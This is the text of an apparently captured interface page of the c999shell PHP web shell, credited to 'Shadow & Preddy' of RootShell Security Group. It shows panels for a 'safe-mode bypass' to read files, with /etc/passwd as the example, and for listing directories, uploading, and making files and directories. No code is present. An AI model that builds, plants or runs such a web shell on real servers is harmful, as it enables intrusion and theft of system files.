Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--